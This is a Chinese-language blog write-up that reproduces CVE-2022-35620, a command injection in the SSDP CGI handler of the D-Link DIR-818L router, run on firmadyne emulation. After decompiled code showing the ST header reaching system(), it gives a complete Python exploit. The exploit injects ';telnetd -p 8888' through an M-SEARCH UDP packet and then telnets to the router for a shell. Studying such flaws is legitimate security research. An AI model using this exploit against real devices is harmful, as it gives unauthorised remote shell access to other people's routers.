# CVE-2022-35620 复现

笔者之前其实是有尝试去复现这个漏洞,但是当时碍于模拟的设备环境不够理想,最终失败了

  • 复现环境 ——ubuntu14
  • 模拟软件 ——firmadyne
  • 漏洞设备 ——D-link DIR818L_FW105b01 A1
  • 固件下载地址: https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-818LW

# 环境模拟

firmadyne 梭哈

image-20230305224711977

# 漏洞分析

简单的了解下 upnp 以及 ssdh 协议

# upnp 协议

# ssdp 协议 (Simple Service Discovery Protocol)

简单服务发现协议

是 upnp 下,一个快捷搜索发现设备的协议,用于 搜索发现局域网中的设备何服务

SSDP 消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。

# 设备查询消息格式例子如下:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all

第一行 消息头,固定;
第二行 HOST 对应的是广播地址和端口,239.255.255.250 是默认 SSDP 广播 ip 地址,通常设置为路由器 IP,1900 是默认的 SSDP 端口;
第三行 MAN 后面的 ssdp:discover 为固定
第四行 MX 为最长等待时间,猜测超时后不在等待
第五行 ST:查询目标,它的值可以是:
upnp:rootdevice 仅搜索网络中的根设备
uuid:device-UUID 查询 UUID 标识的设备
urn:schemas-upnp-org:device:device-Type:version 查询 device-Type 字段指定的设备类型,设备类型和版本由 UPNP 组织定义。(多为自定义设备)
ssdp:all // 广播所有的设备

# 设备通知消息格式
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age = seconds until advertisement expires
LOCATION: URL for UPnP description for root device
NT: search target
NTS: ssdp:alive
USN: advertisement UUID

无 MX 等待限制,增加:
NT 在此消息中,NT 头必须为服务的服务类型。
NTS 表示通知消息的子类型,必须为 ssdp:alive 或者 ssdp:byebye
USN 表示不同服务的统一服务名,它提供了一种标识出相同类型服务的能力

# 漏洞点

int __fastcall ssdpcgi_main(int a1)
{
  int result; // $v0
  char *ST; // $s0
  char *IP; // $s3
  char *ID; // $v0
  char *PORT; // $s2
  const char *v6; // $s1
  bool v7; // dc
  char *v8; // $a2
  const char *v9; // $a0
  char *v10; // $a2
  const char *v11; // $a0
  result = -1;
  if ( a1 == 2 )
  {
    ST = getenv("HTTP_ST");
    IP = getenv("REMOTE_ADDR");
    PORT = getenv("REMOTE_PORT");
    ID = getenv("SERVER_ID");
    v6 = ID;
    if ( ST && IP && PORT )
    {
      v7 = ID == 0;
      result = -1;
      if ( !v7 )				//server_id 不为空
      {
        v7 = strchr(ST, '`') != 0;
        result = -1;
        if ( !v7 )
        {
          v7 = strchr(IP, '`') != 0;
          result = -1;
          if ( !v7 )
          {
            v7 = strchr(PORT, '`') != 0;
            result = -1;
            if ( !v7 )
            {
              v7 = strchr(v6, '`') != 0;
              result = -1;
              if ( !v7 )
              {
                if ( !strncmp(ST, "ssdp:all", 8u) )
                {
                  v8 = IP;
                  v9 = "%s ssdpall %s:%s %s &";
LABEL_14:
                  lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, PORT, v6);
                  return 0;
                }
                if ( !strncmp(ST, "upnp:rootdevice", 0xFu) )
                {
                  v8 = IP;
                  v9 = "%s rootdevice %s:%s %s &";
                  goto LABEL_14;
                }
                if ( !strncmp(ST, "uuid:", 5u) )
                {
                  v10 = IP;
                  v11 = "%s uuid %s:%s %s %s &";
LABEL_22:
                  lxmldbc_system(v11, "/etc/scripts/upnp/M-SEARCH.sh", v10, PORT, v6, ST);// 漏洞点
                  return 0;
                }
                v7 = strncmp(ST, "urn:", 4u) != 0;
                result = 0;
                if ( v7 )
                  return result;
                if ( strstr(ST, ":device:") )
                {
                  v10 = IP;
                  v11 = "%s devices %s:%s %s %s &";
                  goto LABEL_22;				// 这里跳到漏洞点
                }
                if ( strstr(ST, ":service:") )
                {
                  v10 = IP;
                  v11 = "%s services %s:%s %s %s &";
                  goto LABEL_22;
                }
                result = 0;
              }
            }
          }
        }
      }
    }
    else
    {
      result = -1;
    }
  }
  return result;
}

漏洞函数这里有命令拼接注入,va 是所有参数的列表,上述在 ssdpcgi_main 函数中,有一个地方传入了 ST,ST 可以进行拼接,

int lxmldbc_system(const char *a1, ...)
{
  char v2[1028]; // [sp+1Ch] [-404h] BYREF
  va_list va; // [sp+42Ch] [+Ch] BYREF
  va_start(va, a1);
  vsnprintf(v2, 0x400u, a1, va);
  return system(v2);
}

综合考虑上面的漏洞点,我们需要伪造的 header 有如下要求

  • ST,IP,PORT,ID 不为空
  • ST,IP,PORT,ID 不包含 '`'
  • ST 为 "urn:device: ;cmd"

以上我们大致可以了解到,漏洞发生在 ssdp 的服务上,我们需要的就是去向该服务传递一些参数,结合 SSDP 的报文格式,得到对应的数据报文

"""
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: urn:device: ;cmd
"""

# 数据传输

新的问题来了,我们如何将参数传给 ssdp 服务呢?——socket

首先我们上述构造的数据报文是 UDP 协议报文,所以,我们需要使用 UDP 传递参数 ,

如下函数,可以向指定的(IP,port)发送 payload 数据(UDP 格式报文)

import socket
def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)#ipv4 地址域,udp 数据报套接字,udp 协议,创建套接字
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)#IPv4 套接口,设置多播组数据的 TTL 值为 2
    sock.sendto(payload,(ip, port))#发送 udp 数据报
    sock.close()

当我们可以任意命令执行后,如何 getshell 进行交互呢?——talent

telnet 服务允许远程登陆,默认端口为 23,使用一下命令可以修改为指定端口

telnetd -p 8888

我们任意命令执行后 ,打开 telnet 服务,主机远程 telnet 连接上去

但是有个奇奇怪怪的问题,我在打 exp 的时候,直接 telnet ip 登陆 23 端口 ,会让我 login

image-20230308000346528

不断地多次尝试有机会直接 getshell,但是,非常不稳定,而我指定了一个端口后就会稳定下来

# 完整 exp

import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn:device:;telnetd -p 8888\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+"\n\n"
    return header
def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()
if __name__== "__main__":
    #ip =  raw_input("Router IP: ")
    ip = "192.168.0.1"
    port = 1900
headers = config_payload(ip, port)
print headers
send_conexion(ip, port, headers)
sleep(2)
os.system('telnet ' + str(ip) +" 8888")

image-20230308000611788

以上就是本次复现的全部,其实这个设备还有另外一个漏洞点,但是笔者在尝试的时候,并没有成功,比较遗憾